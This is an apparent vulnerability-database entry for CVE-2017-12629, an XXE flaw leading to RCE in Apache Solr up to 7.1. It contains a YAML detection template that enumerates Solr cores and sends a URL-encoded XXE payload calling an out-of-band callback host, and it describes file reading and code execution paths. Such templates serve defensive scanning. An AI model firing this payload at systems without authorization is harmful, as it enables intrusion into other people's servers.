CVE-2017-12629: Apache Solr <= 7.1 XML entity injection

日期: 2025-09-01 | 影响软件: Apache Solr | POC: 已公开

漏洞描述

Remote code execution occurs in Apache Solr before 7.1 with Apache Lucene before 7.1 by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr.

PoC代码[已公开]

id: CVE-2017-12629

info:
  name: Apache Solr <= 7.1 XML entity injection
  author: dwisiswant0
  severity: critical
  verified: true
  description: |-
    Remote code execution occurs in Apache Solr before 7.1 with Apache Lucene before 7.1 by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12629
    - https://twitter.com/honoki/status/1298636315613974532
    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE
    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE
  tags: cve,cve2017,solr,xxe
  created: 2024/02/25

set:
  oob: oob()
  oobHTTP: oob.HTTP
rules:
  r0:
    request:
      method: GET
      path: /solr/admin/cores?wt=json
    expression: response.status == 200 && response.body.bcontains(b"responseHeader")
    output:
      search: '"\"name\":\"(?P<core>.+?)\",".bsubmatch(response.body)'
      core: search["core"]
  r1:
    request:
      method: GET
      path: /solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22{{oobHTTP}}%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser
    expression: oobCheck(oob, oob.ProtocolHTTP, 3)
expression: r0() && r1()

相关漏洞推荐